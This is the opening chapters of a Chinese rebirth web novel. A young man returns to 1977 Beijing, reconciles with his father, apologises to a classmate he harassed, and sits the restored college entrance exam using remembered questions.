《重返1977:从成为高考状元开始》 第1章 重生者的作弊器 “啪!” 皮带破空的声音让高远浑身一颤。 后腰火辣辣地疼,他抬头望去,父亲高跃民举着皮带的手在发抖,脸涨得通红:“你是不是非得气死我心里才痛快了?咱们家现在什么情况你没点数么? 你大伯至今还在牛棚里写检查,你爹我就是个臭老九,想要恢复教师身份还不知得等到哪年哪月,你妈还在乡下当赤脚医生。 四年了,你姐下乡插队整整四年了,想要回城遥遥无期! 你呢?一天到晚正经事不干一件,今儿去同学家里刷个夜,明儿去马路边上拍个婆子,小小年纪不学好,抽烟喝酒骚扰女同学你倒是学了个一门灵,你混到哪天算一站? 能不能让我省点心? 喝点酒就不知道自个儿几斤几两了,大半夜的你跑到人家乔珊家里去想干嘛?脸都被你丢尽了!” 看着父亲气急败坏,对自己大失所望的样子,高远首先确定了一件事情,他重生了。 这个场景他很熟悉,那是埋藏在记忆深处,久久无法忘记的一幕,那么的鲜活。 这是1977年的深冬,昨天晚上他又一夜没回,偷了家里的粮票换了两盒烟两瓶酒跟同学张大龙潇洒了一回。 酒精上头,二半夜里跑到漂亮女同学乔珊家窗户前对姑娘表达爱意,把姑娘吓坏了,嗷一嗓子惊动了姑娘的父母,他被乔珊的父亲和哥哥抓住,一顿打是避免不了的。 坏了人家姑娘的名声,要不是看在两家人还算熟悉的份儿上把他放了,乔珊的父亲当场就要报警,治他一个流氓罪。 心虚了一天的高远也知道这件事情躲得了初一躲不过十五,早晚得回来面对。 一咬牙一跺脚,把心一横,他回了家。 果不其然,乔珊的父母刚从家里告完状离开,他刚踏进房门,父亲的腰带就抽了过来。 重生在这个时间点上,还真是…… “爸……”端详着暴怒的老爸,高远的喉头像堵了一团棉絮一般,眼眶也发红了,百般滋味涌上心头。 他发现,父亲的中山装第三个扣子松了线头,袖口的毛边已经磨得发亮,那双写板书的修长手指,现在攥着皮带暴起青筋。 记忆里,那个总把衣服熨烫得笔挺的大学老师,不知何时已两鬓斑白,法令纹深得能夹住粉笔。 高远直挺挺地跪了下去,膝盖硌得生疼,却不挪动分毫。 他眼含热泪声音颤抖:“爸,我错了,打我一顿能让您消气的话,您打吧。” 犹记得,上辈子这件事情造成的影响特别恶劣。 面对父亲的怒火,自己死不悔改不说,还梗着脖子对父亲说了一堆“少年慕艾、爱情无罪、恋爱自由”之类的混账话,把父亲气得心绞痛住进了医院,人差点就没抢救回来。 病情虽说控制住了,父亲却也就此落下了病根,在高远30岁那年,父亲突发心梗,撒手人寰。 无数个夜里,高远都偷偷看到母亲捧着父亲的遗像潸然泪下。 自那以后,姐姐也把自己当成了仇人,上辈子老死不相往来。 更让高远后悔不迭的是,父亲住院后他并没有吸取教训,反而把父亲之所以病重入院都是因为乔家人告自己黑状引发的,这让他愤怒,愤怒的结果是他更变本加厉地骚扰乔珊。 最后导致已经考上大学的乔珊不堪其扰选择退学,后又远走海外求学。 乔珊的父亲乔远南盛怒之下对高远出手了,无论高远在哪个单位工作,乔远南都会利用自己的影响力给高远下绊儿,导致他一辈子碌碌无为。 蹉跎半生,仍孑然一身。 回首前世的悲惨境遇,高远恨不得给自己狠狠来一下子,这就叫天作孽犹可恕,自作孽不可活。 自己堪称是自作孽的典范了。 十七岁少年单薄的身板裹着六十岁残躯重生的战栗。 这一刻,高远攥紧了拳头,暗暗发誓:既然老天爷给了自己重来一回的机会,那就抡圆了活一把吧。 要弥补上辈子的遗憾,不能再让父母为自己操碎了心,亦不能再跟乔珊纠缠不清了,更得改善和姐姐的关系。 听了高远的话后,高跃民突然哑了嗓子,怔怔地看着他,仿佛不认识自己这个儿子了似的。 “小远你……真的知错了?不是糊弄你爸玩儿?”半晌后,高跃民颤声问道。 高远抬起头望着父亲,诚恳地说道:“爸,我真的知道错了,就像您说的,我喝点酒就不知道自个儿几斤几两了,不该撒酒疯去乔珊家里瞎胡闹。 您放心,回头我就去乔家向长辈们和乔珊同学道歉。 还有,我也不该偷家里的粮票换酒喝,咱家现在这么困难,因为我的任性导致家里断了粮,我罪过太大了。” 高跃民向前走了两步,俯身抓住高远的肩膀,叹息一声后说道:“倒也没到断粮的地步,不过你能认识到自己的错误,并且愿意改正错误,就还是个好孩子。 起来吧,地上凉,快起来吧。” 高远站了起来,先把父亲扶到椅子上坐下,他从炉子边拿了个马扎在父亲面前坐好,准备聆听教诲。 煤油灯“啪”地爆了个灯花。 看着儿子帅气的面庞,高跃民还是对他突然的性格转变心有疑虑,于是进一步试探道:“那么,爸问你,你想好接下来要干嘛了吗?是招工参加工作,还是……” 墙上的老挂钟此时敲响了。 高远猛然惊觉,他目光灼灼望着老爸,坚定地说道:“爸,我是这么想的,就算我通过了招工考试参加了工作,还是摆脱不了‘黑五类崽子’、‘臭老九余孽’这类称呼。 想要改变命运,只有一个途径,就是参加高考。” “你要参加高考?!”高跃民简直难以置信。 恢复高考的消息已经传遍了大江南北,京城学子们的开考时间被确定为12月10号——11号。 而今天,是12月1号。 高跃民觉得,虽说高远是应届毕业生,但读高中这两年,他的成绩一塌糊涂,想要通过高考改变命运,简直是异想天开。 但高远不这么认为,他说道:“不仅我要参加高考,我待会儿也要给姐写封信,动员她也参加高考,虽说复习的时间紧了些,但我有信心考个好成绩。” 他有句话压在了心底:我知道京城今年的高考题目,考个好成绩手拿把掐,这就是重生者最大的作弊器。 第2章 刮目相看 算了,死马当成活马医吧。 不管怎么说,孩子有这个心气儿总是值得鼓励的。 虽说不看好高远能考个多好的成绩,但高跃民这会儿也不能打击他的积极性。 “那就考考看吧。”高跃民挤出一丝笑容,又说道:“说起你姐,你姐前阵子刚寄了封信回来,她你就别操心了,你姐比你有想法,恢复高考的消息被证实后她早就开始做准备了,我也给她找了不少复习资料寄了过去。 你姐来信说,正按照制定好的学习计划进行复习,在北大荒参加考试。” 高远猛地记起来,姐姐学习确实刻苦,上辈子她就是通过高考回的城。 并且成绩相当不赖,被北师大录取了。 反观自己,没参加高考,通过招工进了物资系统,在区物资局下属的木材公司混日子,后来还因为纠缠乔珊点燃了乔远南的怒火,被老乔抓了自己一个把柄给开除出革命队伍了。 再后来,大伯高跃华恢复工作,把高远安排在市图书馆上班,安分了没两年,又被乔远南找了个由头踢出了局。 结死仇了这属于是。 从此以后,高远就熄了捧铁饭碗的念头,开始跟小叔高跃林倒腾生意。 京城混不下去了,叔侄俩就去南方,去改革开放的最前沿,凭着两张三寸不烂之舌倒也挣了些钱,但挣得没有花得多,日子总是在今儿个穷明儿个富之间反复拉扯。 打死高远这辈子也不想再经历一遍上辈子的悲惨生活了。 他这辈子除了要奋发图强外,还存着一个念头,就是得多挣钱,让家人过上优渥的生活。 但他也清楚,现在还不是考虑如何挣钱的时候。 尤其是在当下,衣刚蔽体,食不果腹,商业环境差得要命,干点啥都会被扣上一顶“投机倒把”的大帽子。 高远的性格里有谨慎的那一面,为了挣钱把自个儿搭进去,这事儿他不干。 眼下最重要的还是高考,挣钱的事情可以从长计议,慢慢来。 “爸,咱不带这么厚此薄彼的,您给我姐搜集了不少复习资料,不给我准备几本书您觉得合适么?”见父亲的脸色不再阴沉了,多少有了点笑模样,高远适时开了句玩笑。 高跃民闻言也笑了,刮了下高远的鼻子,他说道:“我都怀疑你上了两年高中,发给你的课本你打开过没有?先别说复习资料了,你先把课本上的题目弄懂了再说。 儿砸,你得知道,贪多嚼不烂。” 这话戳到高远的痛处了,他尴尬一笑,摸摸鼻子说道:“其实,我也没那么不着调,别看我淘,我也没耽误学习,您对我多点信心哈。” 高跃民朗声大笑,站起身后拍拍他的肩膀,鼓励道:“那就去复习吧,先把课本上的知识点吃透,有什么不懂的地方,你随时问我,我去给你做晚饭。” 高远说声好,他差点忘记了,父亲是首都钢铁学院教高数的老师,有着非常丰富的教学经验。 首都钢铁学院,也就是北科大的前身。 自己上辈子守着的是一座知识宝库啊,偏偏还没利用上,这让高远感到汗颜。 只是在这个“知识越多越反动”的年代里,父亲被下放到首钢接受劳动改造,让大家逐渐把他的教师身份给忘记了。 高远却知道,父亲从来没把教书育人、桃李满天下抛诸于脑后。 看着父亲佝偻着身子走出房门,高远鼻头莫名一酸,常年的高强度劳动,让父亲的脊梁都弯了下来。 他扭头拧了一把,压下了鼻酸也压下了心酸。 豆瓣似的煤油灯忽明忽暗。 高远走到三抽桌前,把煤油灯调亮,翻找出高中政治、语文、数学课本,先翻开数学课本,从头认真看起来。 这一看就入了迷。 他发现,重生后自己的记忆力也变强了,不敢说过目不忘吧,但课本上的题目他看起来不费力。 这一发现让高远精神亢奋起来,奋笔疾书,开始刷题。 一直到父亲端着两碗面条过来,他还沉浸在知识的海洋中无法自拔。 高跃民把面条往桌子上一放,凑近了一瞧:“咦……” 你居然会做?! 他把数学课本拿起来看了看,解方程式,全对! 然后不可思议望着高远,起初一副难以置信的表情,接着眼神越来越亮。 这,着实有点惊喜了。 高跃民吐出一口气,说道:“儿砸,你没吹牛,让爸刮目相看了。最后一个问题,你参加高考,报名了没?” 高远:嘎! 认真想了想,他回忆起来了,挠头说:“报过名了,学校统一报的,不论参不参加,学校给每一个同学都报了名。” 高跃民又问:“你报的是哪所院校?” 高远脸通红,低声回答道:“人大……中文系。” 高跃民把面碗推到高远面前,叹息一声,说道:“趁热吃吧。” 什么意思啊您这是? 对我就这么没信心吗? 望着面前的面碗,高远知道,现在无论说什么,老爸都不会相信自己会被人大录取的。 只有等录取通知书寄过来后,才能向老爸证明,您儿子不是个废物点心。 老爸的不信任反倒激起了高远的好胜心。 他三下五除二将这碗白菜炝锅面扒拉进肚子里,心满意足打个饱嗝,冲老爸竖起根大拇指,称赞道:“要说下面条,还得是您手艺了得啊,这也太好吃了,我吃饱了,饭碗麻烦您收拾,我继续复习功课。” 高跃民笑着说声好,又把煤油灯调亮了一些,默默收拾好饭碗,擦完桌子出门奔厨房,将这间不大的房子留给高远。 打量着房间,高远幽幽一叹,二十平米的逼仄房间被分割成两个空间,里间是父母的卧室,一道墙外面是不足八平米的狭窄外间。 外间摆放着上下床,另有一个书桌,两把圈椅。 双层床上面是属于自己的铺位,下面是姐姐高雅的。 这是个大杂院,不大的院子住了四户人家。 受大伯影响,自己一家人从学院路教职工宿舍搬出来后,住进了爷爷留下的祖屋。 条件艰苦一点倒也不算啥,最大的问题是,爷爷留下的这套祖宅因为长时间没人居住,前些年被街道办找了个理由收了回去。 要不是一家人实在没地方住了,父亲拉下脸来四处求人,街道办的领导被他磨得没了办法,也不会劝退了一家人,把阴暗的南房腾出来,让这一家四口临时有个安身立命的地方。 扫一眼空荡的房间,高远心说,这才真叫家徒四壁。 转念一想,老爸距离恢复工作,怕是也没几天了吧? 印象中,年前,政策就该下来了,随着高考选材机制的恢复,各大高校全面复课,一批有着丰富教学经验的老教师重新获得重用。 不但这些年来被克扣的工资会给补齐,学校分配给父亲的住房也会返还。 家里的好日子眼看着就要到来了。 想到这里,高远攥紧了手中的铅笔头,将目光再次投向课本中:下面,就看自己的了,一定要考个好大学,要争口气呀! 第3章 登门道歉 复习到晚上十点钟,高远就坚持不住了。 或许是刚重生回来的缘故,他还不太适应眼下的环境。 把课本一合,高远站起来伸了个懒腰,见里屋还发出淡淡的光亮,他就知道父亲还没休息。 走到门前他轻声说道:“爸,别熬得太晚了,早些休息吧,明天还得早起上班呢。” 他是真心疼老爸,老爸被下放到首钢接受劳动改造后,每天天不亮就得蹬着家里唯一一辆二八加重自行车出门,从北新桥街道去石景山上班。 来回五十公里的路程,老爸已经骑行将近六年了。 他从没迟到过一次,迟到,就代表着改造态度不端正,会被押上台进行批斗的。 高跃民拉开房门,看着高远,善于察言观色的他总觉得高远今天有点反常。 这小子向来淘气,十七八岁的年纪也正处在叛逆期,但这家伙今儿却乖巧无比。 是什么原因让他发生了这么大的转变呢? 高跃民之所以没睡,就是因为一直在思考这个问题。 思来想去,高跃民没想明白。 看着儿子脸颊上的淤青——那是被乔东一拳击打在腮帮子上留下的印记,高跃民叹息一声,说道:“你也别学得太晚了,学习从来都不是一蹴而就的事情,是个长期积累的过程。 早些睡吧,赶明儿,你去你乔伯伯家里,正式给乔珊道个歉,把矛盾解决了,你才能踏实下来好好复习。” 高远立刻说道:“您放心,我明儿一早就过去道歉。我知道的,这个疙瘩解不开,不论是我还是乔珊同学,都无法安心复习。” 高跃民闻言欣慰地点点头,拍了拍高远的胳膊,说道:“你能明白这个道理就好。厨房里还有一罐麦乳精,明天给你乔伯伯带过去。” 麦乳精在这个年代可是个好东西。 高远不舍得,摇头说道:“没那个必要,我买点苹果带过去就行,麦乳精,还是留给您补身子吧。” 高跃民想想也是,就算我儿子喝醉了酒,跑你家里对你女儿表达爱意了,他做得不对,莽撞了,你乔远南爷儿俩也没必要把他暴打一顿吧。 况且打完后你们两口子还到我家来告状了,你们打也打了,骂也骂了,我再让高远登门道个歉,做个姿态全乎一下你们家的面子就算可以了。 麦乳精,还是算了吧,你们担不起这么大礼数。 瞧瞧高远脸上的伤,高跃民叹声气后说道:“不带就不带吧,等周末你妈回来了,给她补补身子。” 高远笑着答应一声,把父亲推到里屋让他去休息,自己也脱了衣服爬到上铺,钻进被窝,辗转反侧了半晌后才迷迷糊糊进入了梦乡。 这一觉高远睡得并不怎么踏实,他不会没心没肺到这种程度。 重生这么奇幻的事情发生在谁身上,谁都会感觉到惊讶、惶恐、难以置信,继而喜出望外。 次日一睁眼,做了一晚上梦的高远打量着屋里简陋的陈设,才再次确定自己确实回到了1977年这个寒冷的冬日。 有一说一,这不是一个最好的年代,却是黎明前最后的黑暗。 熬过了今年,等到明年十一届三中全会召开,就会进入到改革开放和社会主义现代化建设的新时期。 高远揉揉乱糟糟的头发,从被窝里钻出来。 他穿上枣红色毛衣,一条肥大的棉裤外面套着条军绿色裤子,把秋裤塞进毛线袜子里,又蹬上双黑绒布千层底的老棉鞋。 看一眼这身时代特色鲜明的打扮,高远哑然失笑,他拿了搪瓷脸盆,把毛巾、胰子、牙膏牙刷放进脸盆中,打开门,奔大院公用水池边洗漱。 大杂院住了四户人家,共用水,到处都是私搭的窝棚和小厨房,鸡零狗碎满地都是,邻里之间相处的不怎么和谐,甚至可以说矛盾重重。 原因是高跃民一直有个念想,想把这套老宅子要回来。 他只要行动了,就相当于侵占了其余三户人家的利益。 因为其他三家住户都是被组织上安排过来居住的,高家把房子收回去了,他们就得搬家,就得去各自的单位要房子。 不然一家人全得睡马路。 高远记得,上辈子老爸确实为了这件事情张罗过,前后跑了两年多,上面才松了口,把房子还给了自己家。 可这三家住户却死赖着不肯走,后来还是他那个混不吝的小叔使了些不光彩的手段,才逼得三家住户骂骂咧咧地离开了。 今儿天气不错,虽然冷,阳光很明媚。 已经八点钟了,院子里各家各户该上班的都去上班了,只有住在东屋,已经退休的刘前进老两口不知道在屋子里忙活什么。 高远拧开水龙头刷牙洗脸,洗漱完毕后往东屋看了一眼,发现刘婶正透过窗户鬼鬼祟祟往外瞧。 这个刘婶是个事儿妈,惯会嚼老婆舌头,张家长李家短的,杂院里百分之八十的邻里矛盾都是被她那张破嘴挑唆起来的。 高远平日里对她敬而远之,倒不是说怕了她,他只是懒得跟一个泼妇打嘴皮子官司。 见刘婶又在暗戳戳观察自己,不知道存着什么坏心思,高远俩眼珠一转,手指肚往水管上一堵,留一条缝,把水龙头拧到最大,水压上来了。 呲地朝东屋玻璃飙射过去。 一道水流击打在玻璃上,刘婶猝不及防,吓得妈呀一声,倒退了三步,跺着脚破口大骂道:“小兔崽子,你作死呀!” 高远拿起脸盆,把毛巾往肩膀上一搭,哈哈大笑着往屋里走去。 他又穿了件棉袄,外面罩一件蓝褂子,往墙上挂着的带有“牡丹花”图案的镜子前一站,镜子里映出一张棱角分明的面孔。 头发略有点长,鬓角都快遮住耳朵了,眼睛贼亮,鼻梁高挺,唇红齿白,微微一笑,给这张俊俏的面孔平添了几分叛逆。 1米79的身高,在这个年代里妥妥是个大高个,就是有点瘦,竖在镜子前跟电线杆子似的。 好在17岁的年纪,身体状态极佳,心脏、脉搏强劲有力。 他满意地扯了扯嘴角,方才拿了个网兜,锁好门走出院子。 高远家住的这地儿叫新开路胡同,胡同全长742米,呈东西走向,东起朝阳门南小街,西至东单北大街。 这条胡同已经有400多年的历史了。 在明朝的时候,这里属于明时坊,称之为“新开口”。 到了前清,就被划归镶白旗管制了,在爱新觉罗牛皮癣年间被正式命名为新开路胡同,之后,这个名字便一直沿用至今。 胡同里名人故居不少,最著名的当属是宁郡王府,也就是康熙的十三子胤褆的府邸。 另有73号院,是协和医院的院长楼。 协和医院第一任中方院长在这座院子里住了好些年。 高远边走边饶有兴趣打量着道路两旁的住宅,一股子古朴的气息扑面而来。 路过供销社,他买了二斤苹果,用自带的网兜装着,向南,奔东四十条,在十三号院门口停住脚步。 见大门开着,高远驻足往里看了看,方才向院子里走去。 这就是乔珊的家,一个独门独户的院落。 他刚进门,就被出来倒尿盆的乔东看见了。 乔东脸黢黑,没好气地问道:“你又来干嘛?” 高远尴尬一笑,凑上前说道:“东哥,我来给乔珊同学道个歉。” 一眼瞧见他手里拎着的苹果,乔东哼了一声,说道:“没那个必要,你回去吧,今后别在我妹妹面前出现就行了,要是让我知道你再敢骚扰她,你别怪我对你不客气。” 从屋里传出来一个清脆的声音:“哥,你在跟谁说话啊?” 第4章 高考来了 话音落下,门帘一挑,乔远南和乔珊前后脚从屋里走出来。 一见高远上门来,乔远南的脸色就难看起来,乔珊也一脸冷峻。 “你又想做什么?没完没了了是吧?”乔远南嗓音低沉,不怒自威。 他是没被打倒的那批干部中的一份子,自带三分优越感,再加上现如今还在重要岗位上,也看不上高远这个人嫌狗不待见的“臭老九余孽”,说话的语气就有点冲。 见这父子俩都摆出一副高人一等的样子来,高远肚子里的火气也有些压不住了。 但他也清楚,这时候不能火上浇油,把事儿摆平了,才能安心准备考试。 “乔伯伯,您误会了,我是来道歉的,昨天晚上到家后,我父亲把我狠狠教训了一顿,我也深刻反省了自己的错误,不该喝点酒脑袋一热就来您家跟乔珊同学胡言乱语。 我对自己的不当行为真诚向您,向乔珊同学道歉,对不起了。” 他深鞠一躬,又诚恳地说道:“我在这里向您保证,今后绝不会再纠缠乔珊同学了,也请您看在我大伯的面子上,原谅我这一回,不要跟我计较了。 再次说声抱歉,这点水果请您收下,您这是要去单位上班吧?我就不打扰您工作了,先回去了。 哦,最后祝乔珊同学在本届高考中取得优异的成绩。” 高远说完,脸皮发烫,两世为人,他也没跟谁低过头弯过腰。 他把苹果往乔东怀里一塞,转身大步离开。 乔珊望着高远离去的背影,心情莫名有点复杂。 她昨晚着实被喝了酒的高远吓坏了。 大半夜里,高远在自己窗户前絮絮叨叨说什么喜欢自己很长时间了,让自己做他的女朋友。 在这个思想保守的年代里,男青年当众对女青年表达爱意,是一种非常出格的行为。 更何况两人虽说是同学,但在学校里并没有多少交集。 高远突如其来的示爱让乔珊大惊失色,话没说两句就被她嗷一嗓子打断了,继而,父兄两人冲出门,摁住高远一通好打。 但高远今儿这表现,又让乔珊觉得这个家伙还算坦荡。 他能主动来家里向自己道歉,就说明他本质还是不错的。 乔远南也有点愣怔,见高远走出院门,身影很快消失在视野中,乔远南嘀咕了一句:“这个混小子,性格变化有点大啊。” 一手端着尿盆,一手拎着苹果的乔东嗤了一声,不屑地说道:“爸,您可别被他的表象迷惑了,本质上说,高远就是个狗改不了吃屎的玩意儿。 我没猜错的话,他今儿能主动来跟我们道歉,是怕您揪住这件事情不放,再给他家添一把柴火。 要知道,他大伯现如今可还在接受组织的隔离审查,头上那顶帽子还没摘掉,这时候要是再被高远牵连……” “你混蛋!”乔远南突然就怒了,大声呵斥乔东道:“你把你爹我看成什么人了?我告诉你乔东,落井下石的事情你爹从来没干过! 还有,高跃华的问题组织上早晚会有结论,这不是你能随便议论的。 打今儿起,你给我管好你那张嘴,别再让我听到你胡咧咧了!” 乔珊叹声气,也说道:“哥,要不是昨晚你忘记了关大门,高远怎么可能进得来?说到底,是你的马虎害得我差点丢了名节。” 乔东面红耳赤,却一句反驳的话都说不出来,心里却把高远恨上了。 王八蛋,你道个歉走人了,黑锅却要我来背。 等着吧,早晚有你哭的时候。 “愣着干啥?还不快去把尿盆倒了。”乔远南又训斥了乔东一句,这才推着自行车向院子外面走去。 阳光是明媚的。 1977年的京城街头,仿佛一帧帧老相片慢悠悠从高远眼前闪过。 马路不算宽阔,但车流稀少,自行车大军堂而皇之地穿行在马路中央。 街道两旁是低矮的房屋,北新桥街道唯一的高大建筑物是两层的北新桥商场。 行人大多面带菜色,那是因为吃不饱的缘故。 满大街都是蓝色、灰色、军绿色,只有人民公安的白制服给马路增添了一抹亮色。 高远慢悠悠晃荡着往新开路胡同的方向走,在胡同口花五分钱买了个糖油饼边走边吃。 他不禁感叹这个年代的物价真是便宜,在这个有钱都买不到东西的时代里,买点啥都得用票。 比如说在国营饭店里吃饭得用粮票,买块布得用布票,买猪肉有肉票,买辆自行车得有工业券。 话说回来,用粮票换烟换酒,得看你跟供销社的人关系到不到位。 像高远这种淘出圈的家伙,搞关系绝对是一把好手。 一个糖油饼啃完,也到家了。 他掏出钥匙开了锁,推门进了屋,先把炉盖子打开,用煤钩子通了通炉渣,坐了一壶水后,才在三抽桌前坐下,拿出政治课本,继续复习。 虽说记忆中那些题目至今清晰地印在脑海里,但高远也不敢肯定,自己的重生会不会引发蝴蝶效应,他不敢赌这辈子的考试题目和上辈子如出一辙。 上辈子他没参加过高考,知道那些考题是因为在图书馆工作时闲着没事情做偶然翻到了考卷,并仔细研究过。 当时他心说,这题目出得也太简单了,我做也能被名校录取。 接下来九天,高远把全部精力都投入到复习功课中去,题目越做越得心应手。 偶尔还满足一下父亲好为人师的心理,挑选几道难度较高的题目请教一下父亲。 父亲也耐心解答,掰开了揉碎了给他讲解。 就连他的好哥们儿张大龙来找他出去玩,他都拒绝了。 在这种紧张的学习进度中,1977年的高考终于到来了。 12月9号晚上,听了说儿子要参加高考的母亲张雪梅也从延陵县农村赶了回来。 张雪梅下厨包了顿白菜猪油渣的饺子,算是为儿子壮行。 次日一早,高远早早起来。 吃过早饭后在父母一遍遍的叮嘱下又检查了准考证、铅笔等考试用品是否带全了。 临出发前,高跃民郑重其事将别在上衣兜里的“英雄”牌钢笔摘下来递给他,拍了拍他的胳膊说道:“别紧张,调整好心态,正常发挥就行。” 高远把钢笔接过来放进口袋里,抱了抱父亲,又抱了抱母亲,正色说道:“爸妈放心吧,我会好好发挥的。” 说完,毅然决然地转身向外面走去。 蹬上父亲的28大杠奔赴五中考点。 张雪梅的眼眶有点湿润了,挽着丈夫的胳膊,她轻声说道:“小远这孩子,给我感觉突然就长大了。” “是啊,小远长大了,懂事了,这是好事儿,天大的好事儿。”高跃民也揉了揉鼻子。 五中考点门口人头攒动。 高远把自行车停好,上了锁,打眼一瞧,考生们还真是……年龄差距巨大啊。 岁数大点的都三十好几了,年龄小的是应届毕业生。 其实这不奇怪。 高考从66年就中断了,今年恢复后,参与竞争的是从66届到77届共12个年级的学生,再加上少部分78届优秀高中生,也被允许提前参加高考。 毫不夸张地说,一共有13个年级的青年们即将走进考场。 竞争之激烈,之残酷,前所未有。 八点半钟,校门打开了。 高远随着人流走进五中。 因为之前已经来辨认过考场,他很顺利地走进教学楼,找到应试教室,经过监考老师严格的检查后才被放了进去。 一个考场21个人,共三排,每排7人,单人单桌。 高远的位置靠窗,在正数第三位。 他刚坐下,前面的同学也落了座。 一头齐耳的短发,苹果一般的俏丽面容,皮肤白皙如雪,回过头来打量高远的乔珊眼神中似有不可思议。 高远也怔住了,他心说这么巧的吗? 高考都能分到一个考场前后桌,这是什么孽缘啊? 他尴尬一笑,轻声说道:“真巧啊。” 乔珊哼了一声,像一只骄傲的孔雀,开口说道:“我没想到,你居然也参加考试。” 这是觉得我没有资格参加考试吗? 高远也不是个好脾气的主儿,当即怼了回去:“你这是明目张胆地歧视我啊,我为什么不能参加考试?邓公说过了,考大学是每个人的权利。 况且招生条件早就公布了,政审主要看本人的政治表现,家庭出身、家庭成员是否在接受审查这两条桎梏早就被全面打破了。 你再拿这个说事儿的话,我是不是应该给你扣一顶和党的教育方针背道而驰的帽子?” 乔珊被高远这番诛心的话说得面红耳赤、瞠目结舌。 姑娘委屈极了,眼看着泪珠子就要掉落下来,仍强辩道:“你胡说八道,我根本不是这个意思!” 她的声音大了些,成功引起了监考老师的关注。 “请两位同学注意考场纪律!这是高考考场,不是你们街道的菜市场,要吵架外面吵去,别影响其他考生!” 高远冲老师笑了笑,赶紧道歉:“不好意思啊老师,我不会再高声喧哗了,一定注意考场纪律。” 乔珊的泪珠在眼眶里打着转,却也知道,高考是自己人生中的重大机遇,关键时刻违反考场纪律,万一被取消了参考资格就得不偿失了。 她也对老师说道:“对不起老师,我也不会了。” 老师是知道同学们的不容易的,也没计较太多,只说了句下不为例,抬手看看表,又说:“我现在讲一下考场纪律,请同学们先把准考证放在课桌的左上角,以便于检查……” 唠叨了十分钟后,考试铃声响了起来。 密封着的政治试卷被两名监考老师打开,发下来后,高远迅速过了一眼。 他放心了,题目和上辈子的考题一般无二。 政治试卷分为两个部分,一是名词解释,二是问答题,一共八道题目。 考试时间两个小时。 高远拧开钢笔帽开始答题,越答越顺畅,用时一小时三十分钟,全部作答完毕。 他认认真真检查了三遍,确保答案准确无误后,第一门考试结束的铃声也响了起来。 第5章 考场外的奇遇 讲台上,身穿深蓝色中山装的监考老师严肃地说道:“本场考试结束,请同学们放下手中的笔,准备交卷。” 刷刷刷答题的声音戛然而止。 有几个同学发出一阵阵叹息声。 两名监考老师行动迅速,走过来收了同学们的考卷后方才允许大家离开。 高远神色轻松,站起身后看着周边的几个同学。 他发现这几位的表情一个比一个丧,有个同学还在打听身边那位:“你考得怎么样啊?” 那位同学蔫头耷拉脑的说道:“糊了,考糊了。两眼一抹黑,我是真不会啊。你呢?” “我比你也好不到哪里去,那些题目,我认识它,它不认识我。一门政治考下来,信心全无。” “好好复习一年,准备明年再考吧。” “也只能如此了,今年还是太仓促。” 这就放弃了?不参加后面的考试了? 听了两人的交谈,高远觉得这二位意志不坚定,心理素质也太差劲了。 快走到学校门口时,他突然感觉后背一阵冰凉,扭头一瞧,发现乔珊正冷冷地瞪视着他,双眸中迸射出来的愤恨目光丝毫不加掩饰。 实话说,高远能理解乔珊为什么对自己怀有这么大的敌意。 这姑娘非常高傲,自己对她表白,对她而言是一种羞辱。 在她眼里,自己就是只妄想吃天鹅肉的癞蛤蟆,家庭败落了,自己也不上进,从大院子弟变成了胡同串子,跟她这种家世优越,父母都是高级干部的官员子女相比,简直天差地别。 在她的潜意识里,多看自己一眼都是对自己的怜悯。 况且开考前自己说的那番话也确实有点杀人诛心了。 高远当然知道乔珊没有拿自己的家庭变故说事的意思,但重生归来后,高远的思想发生了巨大转变。 这姑娘漂亮归漂亮,但太盛气凌人了。 如果说之前的高远还是个颜狗,现在的他,绝对不会再以貌取人了。 不是所有的漂亮姑娘都有一副菩萨心肠。 高远毫不客气地回瞪着她,尖锐的目光让乔珊娇躯一颤。 她咬着红唇,一颗芳心犹如坠入谷底,冰冷一片。 一个不解悄然浮上了姑娘的心头,短短几天时间,从热情的告白到冷漠的相待,是什么原因让高远发生了这么大的改变呢? 乔珊想不通。 高远收回目光,不想再跟乔珊产生任何交集了,这姑娘是一朵带刺的玫瑰,闻着香,拿着却扎手。 自己没那个享受的命。 加快步伐走出校门,高远从裤兜里摸出钥匙开了链子锁,踢下支架刚想蹁上车回家,一抬头,看到马路对面有个熟悉的身影在慢慢前行。 “小姑!”高远推着二八大杠快步穿过马路。 听到高远的喊声,高跃然停住脚步转过身,见他已经追了上来,先是愕然了一下,接着脸都红了。 “小远,你也来……参加高考啊?”高跃然不好意思地问道。 她也很漂亮,穿一件红白条纹的棉袄,搭配一条军绿色裤子,这裤子明显是改良过的,裤腿没那么肥大,还挺修身,双脚上蹬着双布棉鞋。 一米六八的个子,梳着麻花辫,瓜子脸,眉毛黑且长,一双杏核眼,鼻梁骨高挺,唇红齿白。 高跃民兄妹四个,高跃然是最小的妹妹,就比高远大十岁。 高远听父亲提起过,要说他们这代人谁最受宠,小姑当属第一。 因为老高家阳盛阴衰,再加上奶奶生小姑那年已经四十好几了,对这个老生的闺女不是一般的疼爱。 让人惋惜的是,在小姑十一岁那年,在门头沟煤矿工作的爷爷因为矿难被埋在了井下,没两年,奶奶也驾鹤西去了。 小姑是在两个哥哥的拉扯下长大的,比小姑大两岁的小叔也是。 “嘿嘿……我是应届毕业生啊小姑,我肯定要来参加高考的,我没想到,您居然也来参加考试了。” 在高远的记忆中,小姑是老三届,放下书本很多年了,上辈子她也参加过恢复后的第一届高考,貌似没考上。 高跃然的脸更红了,打他一下后没好气儿地说道:“你能来参加,小姑就不能来参加了?你这孩子这话说得有点欠揍啊。” 挨了一下,高远一点都不生气,反倒觉得久违的亲情在心间萦绕,他仍旧嬉皮笑脸地说道:“误会了不是,我可没有嘲笑您的意思。 这种现象太正常了,我今儿就见识到很多奇景儿,考生们不仅年龄差距巨大,一个考场里,还出现了很多兄弟、姐妹、夫妻,甚至师生、叔侄同考的情况。 高考毕竟中断11年了,一经恢复,不论哪一届的学生,都不愿意错过这个通过高考改变自身命运的机会。” 高跃然边走边说:“这话对,不出意外,本届高考,应该是我国教育史上规模最大,竞争最为激烈的一场考试。对了小远,你发挥得怎么样啊?” 高远比画了个ok的手势,胸有成竹道:“那是相当不错。” 高跃然神色一黯,叹声气后说道:“小姑就不成了,八道题目做出来六道,还不知道答案正不正确,估计很难考上大学了。” 高远忙安慰道:“已经考完就别想那么多了,认真准备下一场考试吧。上车,跟我回家吃饭。” 他蹁腿上了自行车,单脚杵地,等高跃然坐上后座,开始猛蹬。 高远盘算好了,到家后就给小姑突击复习一下,把自己做过一遍的,变换了题型的史地卷子让小姑再做一遍。 